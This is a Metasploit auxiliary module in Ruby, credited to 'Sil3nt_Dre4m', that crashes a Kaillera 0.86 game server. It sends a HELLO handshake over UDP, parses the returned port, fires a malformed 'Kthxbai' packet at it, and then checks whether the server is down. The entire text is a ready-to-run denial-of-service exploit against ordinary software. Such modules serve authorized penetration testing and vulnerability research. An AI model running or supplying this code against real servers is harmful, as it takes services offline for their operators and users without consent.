Kaillera 0.86 Server Denial of Service

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::Udp
  include Msf::Auxiliary::Dos

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Kaillera 0.86 Server Denial of Service' ,
      'Description'    => %q{
          The Kaillera 0.86 server can be shut down by sending any malformed packet
        after the initial "hello" packet.
      },
      'Author'         => ["Sil3nt_Dre4m"],
      'License'        => MSF_LICENSE,
      'DisclosureDate' => '2011-07-02'))

    register_options([
      Opt::RPORT(27888)
    ])
  end

  def run
    # Send HELLO to target
    connect_udp
    print_status("Sending Crash request...")
    udp_sock.put("HELLO0.83\0")
    res = udp_sock.recvfrom(15)
    disconnect_udp

    if res[0] =~ /HELLOD00D([0-9]{1,5})/
      port = $1
    else print_error("Connection failed")
      return
    end

    # Send DOS packet
    connect_udp(global = true,'RPORT' => port)
    print_status("Sending DoS packet to #{rhost}:#{port}...")
    udp_sock.put("Kthxbai")
    disconnect_udp

    # Check is target is down
    connect_udp
    print_status("Checking target...")
    udp_sock.put("HELLO0.83\0")
    res = udp_sock.recvfrom(15)
    disconnect_udp

    if res[0] =~ /HELLO/
      print_error("DoS attempt failed.  It appears target is still up.")
    else
      print_good("Target is down")
    end
  end
end